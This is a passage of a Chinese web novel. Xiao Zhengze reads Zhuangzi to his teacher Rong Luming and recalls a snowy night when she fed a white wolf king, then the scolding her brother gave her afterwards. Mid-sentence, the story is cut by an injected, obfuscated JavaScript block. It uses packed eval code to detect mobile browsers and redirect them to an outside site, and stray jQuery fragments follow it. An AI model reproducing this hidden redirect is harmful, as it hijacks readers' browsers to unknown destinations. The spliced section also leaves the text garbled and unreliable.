借着烛光,萧正则拾起容鹿鸣枕边的书,很好,是他当年手抄的《庄子》。不知已被翻看过多少遍,书页边沿已泛起纸絮。
    明日起,再为她抄一本吧,他想着,一边翻看这书,翻到《则阳》那节。
    “鸣鸣且安睡,我读段书给你听。”
    “嗯。”容鹿鸣侧过身来听着。
    “戴晋人曰:‘有所谓蜗者,君知之乎?’曰:‘然。’‘有国于蜗之左角者曰触氏,有国于蜗之右角者曰蛮氏,时相与争地而战,伏尸数万……”
    萧正则的声音徐缓动听,容鹿鸣渐渐平静下来。
    读罢这节,萧正则问:“你还记得吗,小时候我老大不愿意,你总叫我抄这节。”
    容鹿鸣当然记得。萧正则有时挨了罚,气鼓鼓地不愿意。她瞧着他那样子,常要加上一句:“不乐意?那抄两遍。”
    若他“腾”地站起来,她就补上一句:“行,那三遍。”
    萧正则打不过她,只得立即坐下,提笔不言。
    “我那时候常想,干嘛总让我抄这个,抄几页医书怕是还更有用些。”
    “那现在明白了吗?”
    萧正则看看她,枕回她肩窝。
    “蜗牛角上争何事?石火光中寄此身。你想告诉我世事纷扰,渺小又无谓。死生之外无大事。你怕我被流言所伤,怕我误入政争。你想我翛然自如地活着,对吗?”
    无人回答,容鹿鸣已沉入梦里。
    清早醒来,枕畔已无人。萧正则坐起身,恍惚了一会儿,窗前的秘色瓷莲花瓶里,斜插了支虎头茉莉,怡然地幽幽香。
    仿佛回到往昔,萧正则想,只是那时摘花的几乎都是他。他的心念都埋在花里,盼她知道,又怕她知道。思绪不觉又飘远了,他想到她从不摘花,除了虎头茉莉,并且,每次只摘一朵。
    为何如此呢?他若有所思,而后粲然笑了。
    昙现端来了胡饼,香脆诱人,一闻便知是容鹿鸣亲手做的。随手在她的茶盏里注了沸水,茉莉香片酽酽的,是他们都最喜欢的一味苦香。便就着她的茶盏饮了,茶食皆美。殿内还留着她的气息,令他知道,她还在近旁,抬眼就能望见。
    他心里一瞬地好静,政事纷乱皆远去。
    院中铿然一声,清脆动听。他知道她在练剑,此时收了剑。他起身,快步往外走,突然迫切地想看看她,说不出缘由。
    容鹿鸣站在园中的八角亭外,仰头朝玉兰树上看了看,然后接过美盼递来的巴掌大小的布袋,敞开,往掌心撒了些什么,立在檐角的鸽子轻快地飞了过来。
    萧正则不喜欢她喂鸽子,但不会表现出来。他走到她身边,步履轻轻。有几只鸽子飞跑了,停在她手臂上的那两只宝石眼的,舍不得走。
    她一向很得小生灵的喜欢,或者说,不止是小生灵。
    许多年前,有一回,初雪之后,她带萧正则去城外景山打猎。每逢初雪,太子惯常是会带着萧正则一起去相府,赏雪、品茶、下棋。
    说是去打猎,其实很少拉动弓弦。容鹿鸣带他出来,主要是去赏景。那时她已随兄长容雅歌,在北境驻守过几年,犹能一手刀剑,一手画笔。而萧正则已随她学画一载。
    她画佛像,也画山水。她笔下的风景总是很寂的,常是杳无人烟的雪景或深寂的幽山。她带他来看雪景,却教他画些热烈的:腊梅、雪兔,厚雪之中露出点儿尾巴尖儿的红狐狸。
    这时,她从不动弓箭,只是在他耳畔悄声教他,在宣纸上当如何运笔。
    那一回,清晨雪霁,他们便早早进了山。岂料大雪又至,颇有“燕山雪花大如席”的架势。
    他们缩进一处山洞避雪。容鹿鸣随身带了冷切的羊肉,串在树枝上烤好,夹进熥得热乎乎的胡饼之中,同萧正则一起,边赏雪,边吃肉饼。两人挤在一起,又生了火堆,肉饼美味,近人可亲。
    他们俩倒不急,可忧心家里人担心。夜幕落下来,雪稍停,他们便骑了马往回走。
    萧正则与她共骑骊驹,这马也是上过战场的。于夜色之中步履稳健。这夜并不黑,虽无月,但雪色照人。
    萧正则坐在前面,靠在容鹿鸣怀里,昏昏欲睡。突然,马停了,他睁开眼睛,只见不远处的雪地之上飘着两团幽光,似夜明珠,更似鬼火。
    初睁的眼睛,视线渐渐清晰,萧正则方才看清,不远处的雪地上,竟是一匹狼!雪白的,身若半大的马驹,吐着腥红的舌,尖牙泛着冷光。
    容鹿鸣一手揽住坐在身前的萧正则,他瞬间不那么害怕了,以为她另一手要取弓箭。以她的箭术,可以轻易射穿那狼的头颅。
    却不想,容鹿鸣另一手只是轻轻拍了拍马头,这马明白了主人的意思,平静下来。
    “别动,我一会儿就过来。”容鹿鸣松开抱萧正则的手臂,竟轻快地跳下来,向那匹白狼走去。
    萧正则坐在马上,一动都不敢动,连声音都发不出,恐惧在剧烈擂击他的心脏!
    他听见那狼的低吼声,像是发起攻击前的信号……
    容鹿鸣却在那白狼面前停下,看着那双幽蓝的眼睛,朝着它,缓缓伸出了手。
    萧正则颤抖着,奋力想扯出箭匣中的箭,他以为那白狼会咬断容鹿鸣的手腕。可即便扯出箭又能如何?他还根本拉不动容鹿鸣随身的弓。
    然而,奇怪的事情发生了,那兽的低吼声静下来,它即将俯扑的前爪直了起来,昂起头,用鼻尖碰了一下容鹿鸣的手掌。
    萧正则听见她出声地笑了,俯身,用额头触那凶兽的额。他握紧手中的一支箭,还来得及吗?来得及吗?他怕那兽咬断容鹿鸣的脖子。
    这一刹,惊心动魄的一刹,容鹿鸣回过头,笑着对他喊道:“阿耶,口袋扔过来,里面还有不少羊肉和胡饼,它饿了。”
    临别时,容鹿鸣还摸了摸白狼的额头,那里有两道交叉的疤痕。萧正则牙齿打战,直到容鹿鸣又翻身上马,抱住他时才好些。
    又往前走了段路,快到山脚下了,林木的
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493570|171898||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    枯枝间透出火光。
    太子与容雅歌见他们入夜未归,亲自带了人来寻。
    见他们安然无恙地下了山,容雅歌疾步走来,径直把容鹿鸣抱下马,上下左右地看了看,确定她无事,这才徐徐地说出话来。
    萧正则由护卫扶下马,太子紧紧拉住他的手,“阿则,没事吧。”
    “没事。”他笑着摇摇头,这会儿,才觉得冷风刺骨。
    “村民说,雪夜里,狼王常常出来觅食。据说是匹白色的狼,额上有两道交叉的疤痕,幸好,你们没有遇到。”
    “我们……”
    “我们就是没有遇到呀,老天庇佑!”容鹿鸣接过话头。她竟完全不怕。
    后来,每每再想到那个画面,容鹿鸣与狼王额头相碰的刹那,萧正则想,那就如同是,两个历经杀戮的灵魂在向彼此致敬。
    当然,萧正则以为他是不会被罚的,他师父容鹿鸣大概也不会。
    容家舍得罚容鹿鸣的没有别人,只有容雅歌。可这一回,听闻狼王的传闻后,他真是吓得不轻。把萧正则丢给太子,他自己与容鹿鸣并乘骊驹,一路上,用大氅将她紧紧裹在怀里。哥哥心跳得很快,容鹿鸣听到,过了好一会儿才平复下来。他们并肩杀入敌营时,哥哥都不曾如此。
    到了家门口,容雅歌脸上才算是有了点儿笑意。相府朱门大开,细雪纷飞,容止和萧郡主都等在那里。
    容雅歌向父母行过礼,抗起容鹿鸣就朝府内走。容鹿鸣立即知道哥哥要做什么了,赶忙连声求饶:“哥,我错了,真的错了,下次再也不会了……”
    “啪!”极清脆的一声,拍在她小腿上。虽说不疼,但威慑性极强。
    容止崩不住了,低声对萧郡主说:“快,快去拦着点儿,别叫令仪又打他妹妹手心……”他话还没说完,萧郡主已是跟了过去。
    容鹿鸣被哥哥扛着,还在那不愿意,“不公平呐,阿则也去了,为什么只罚我?”
    又是“啪、啪”两声。
    月柏轩,容雅歌的书斋之中,容鹿鸣与萧正则并排坐着,书斋的门被紧紧锁着。容雅歌与太子在另一侧,容鹿鸣的小书斋中下棋、品茗。
    “老师!”萧正则声音很大,很不满意。
    “别说了,快写。”
    “老师!太子说了,这《庄子·内篇》我只需抄写一遍,可容大将军说,您要抄三遍。”
    “对呀。”容鹿鸣点头,继续翻看手中的《洛阳伽蓝记》。
    “……那为什么这四遍都要我来抄?”
    “哎呦,为师头有点儿疼,咦,手怎么也有点儿疼。”容鹿鸣说着,一边往案上一趴。
    “容大将军若是发觉我替老师抄了,看不打老师手心儿。”萧正则气鼓鼓的。
    “哼哼,他才发现不了。”容鹿鸣下巴搁在手臂上,侧过脸看萧正则,“我们阿则好厉害的,你的字同我的字,已经几乎可以乱真了。”
    萧正则闻言猛地顿笔,笔锋未收住,落下个墨点。